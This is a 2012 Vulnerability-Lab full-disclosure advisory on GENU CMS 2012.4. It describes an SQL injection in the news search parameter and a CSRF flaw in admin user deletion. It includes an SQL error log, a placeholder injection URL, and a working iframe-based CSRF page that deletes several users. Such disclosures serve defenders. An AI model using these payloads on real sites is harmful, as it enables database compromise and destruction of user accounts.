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Message-ID: <4FAE331C.9060000@vulnerability-lab.com>
Date: Sat, 12 May 2012 11:53:32 +0200
From: Research <research@...nerability-lab.com>
To: full-disclosure@...ts.grok.org.uk
Subject: GENU CMS 2012.4 - Multiple Web Vulnerabilities
Title:
======
GENU CMS 2012.4 - Multiple Web Vulnerabilities
Date:
=====
2012-05-06
References:
===========
http://www.vulnerability-lab.com/get_content.php?id=519
VL-ID:
=====
519
Common Vulnerability Scoring System:
====================================
7.5
Introduction:
=============
GENU is a Content Management System written with PHP language and using a database server
(MySQL, PostgreSQL or SQLite) for storage. It is fully customisable since it uses a templates
system and supports multiple languages. GENU is an open-source software distributed under
the terms of the GNU GPL license version 3.
- Easy installation
- Full customisation with templates
- Multiple languages interface
- Unlimited news organised into unlimited categories
- Comments system with reply and edit possibilities
- Articles management
- Users management
- Bulletin board
- Polls
- Complete administration interface
- Search engine
- Submit and send news functions
- Smilies support
- BBCodes or HTML tags support
- Headlines generation
- ...
(Copy of the Vendor Homepage: http://www.gnew.fr/news/index.php )
Abstract:
=========
A Vulnerability Laboratory Research Team discovered multiple web vulnerabilities in GENU CMS 2012-3 content management system.
Report-Timeline:
================
2012-04-16: Public or Non-Public Disclosure
Status:
========
Published
Exploitation-Technique:
=======================
Remote
Severity:
=========
High
Details:
========
1.1
A remote SQL Injection vulnerability is detected in GENU CMS 2012-3 content management system.
The vulnerability allows an attacker (remote) or local low privileged user account to inject/execute own sql commands
on the affected application dbms. Successful exploitation of the vulnerability results in dbms & application compromise.
The vulnerability is located on the username post method.
Vulnerable Module(s):
[+] Search - news_subject
--- SQL Exception Logs ---
Error in query SELECT genu_categories.category_id, genu_categories.category_image,
genu_categories.category_name, genu_news.news_comments, genu_news.news_date,
genu_news.news_id, genu_news.news_source, genu_news.news_subject, genu_news.news_text,
genu_users.user_id, genu_users.user_name FROM genu_categories, genu_news, genu_users WHERE
genu_categories.category_id = genu_news.category_id AND genu_categories.category_level IN
( 0 , 2 ) AND genu_news.news_active = 1 AND genu_news.user_id = genu_users.user_id AND
LOWER(genu_news.news_subject-1 ) LIKE %news% ORDER BY news_date DESC LIMIT 0, 30
Picture(s):
../1.png
../2.png
1.2
A csrf vulnerability is detected in GENU CMS 2012-3 content management system. The vulnerability allows
an remote attacker to delete with medium required user inter action administrator, moderator & users without
checkbox or confirmation by the admin itself.
Vulnerable Module(s):
[+] Delete User
Picture(s):
../3.png
Proof of Concept:
=================
1.1
The sql injection vulnerability can be exploited by remote attacker without user inter action.
For demonstration or reproduce ...
PoC:
http://127.0.0.1:80/genu/news/search.php?search=news&match=news_subject-1%27[SQL-INJECTION]
1.2
The csrf vulnerability can be exploited by remote attacker with medium or high required
user inter action. For demonstration or reproduce ...
PoC:
<html><head><body>
<title>Remote User Delete Exploit</tile>
<iframe src=http://127.0.0.1:80/genu/admin/users.php?action=delete_user&user_id=1>
<iframe src=http://127.0.0.1:80/genu/admin/users.php?action=delete_user&user_id=2>
<iframe src=http://127.0.0.1:80/genu/admin/users.php?action=delete_user&user_id=3>
<iframe src=http://127.0.0.1:80/genu/admin/users.php?action=delete_user&user_id=4>
<iframe src=http://127.0.0.1:80/genu/admin/users.php?action=delete_user&user_id=5>
<iframe src=http://127.0.0.1:80/genu/admin/users.php?action=delete_user&user_id=6>
<iframe src=http://127.0.0.1:80/genu/admin/users.php?action=delete_user&user_id=6>
<iframe src=http://127.0.0.1:80/genu/admin/users.php?action=delete_user&user_id=7>
</body></head></html>
Risk:
=====
1.1
The security risk of the sql injection vulnerability is estimated as high(+).
1.2
The security risk of the csrf vulnerability is estimated as medium(-).
Credits:
========
Vulnerability Laboratory [Research Team] - Chokri B.A. (meister@...nerability-lab.com)
Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
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profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
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may not apply.
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--
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